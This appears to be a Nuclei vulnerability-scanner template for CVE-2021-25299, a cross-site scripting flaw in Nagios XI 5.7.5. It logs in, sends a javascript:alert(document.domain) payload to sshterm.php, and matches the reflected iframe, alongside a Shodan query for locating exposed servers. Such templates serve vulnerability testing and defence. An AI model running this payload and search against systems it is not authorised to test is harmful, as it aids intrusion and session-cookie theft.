id: CVE-2021-25299

info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
    - http://nagios.com
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25299
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Nagios XI"
    verified: "true"
  tags: cve,cve2021,nagios,nagiosxi,xss,authenticated

requests:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=

      - |
        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
        condition: and

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true